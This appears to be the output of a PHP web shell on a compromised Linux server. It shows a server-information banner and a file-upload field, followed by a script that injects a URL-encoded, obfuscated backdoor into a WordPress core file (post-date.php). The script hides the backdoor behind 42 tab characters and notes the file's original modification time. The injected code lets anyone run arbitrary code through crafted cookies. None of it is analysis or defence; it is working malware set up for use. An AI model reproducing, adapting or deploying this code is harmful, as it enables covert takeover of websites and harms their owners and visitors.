Server IP : 192.64.112.168 / Your IP : 3.135.193.70 Web Server : Apache System : Linux nc-ph-2300-85.bluforrest.com 4.18.0-513.9.1.el8_9.x86_64 #1 SMP Sat Dec 2 05:23:44 EST 2023 x86_64 User : expressoneac ( 1128) PHP Version : 8.0.30 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /tmp/ |
Upload File : |
<?php $path = '/home/celebrategoodtim/public_html/wp-includes/blocks/post-date.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_COOKIE%5B3%5D%29%26%26isset%28%24_COOKIE%5B16%5D%29%29%7B%24c%3D%24_COOKIE%3B%24k%3D0%3B%24n%3D5%3B%24p%3Darray%28%29%3B%24p%5B%24k%5D%3D%27%27%3Bwhile%28%24n%29%7B%24p%5B%24k%5D.%3D%24c%5B16%5D%5B%24n%5D%3Bif%28%21%24c%5B16%5D%5B%24n%2B1%5D%29%7Bif%28%21%24c%5B16%5D%5B%24n%2B2%5D%29break%3B%24k%2B%2B%3B%24p%5B%24k%5D%3D%27%27%3B%24n%2B%2B%3B%7D%24n%3D%24n%2B5%2B1%3B%7D%24k%3D%24p%5B2%5D%28%29.%24p%5B1%5D%3Bif%28%21%24p%5B27%5D%28%24k%29%29%7B%24n%3D%24p%5B15%5D%28%24k%2C%24p%5B0%5D%29%3B%24p%5B24%5D%28%24n%2C%24p%5B13%5D.%24p%5B9%5D%28%24p%5B8%5D%28%24c%5B3%5D%29%29%29%3B%7Dinclude%28%24k%29%3B%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');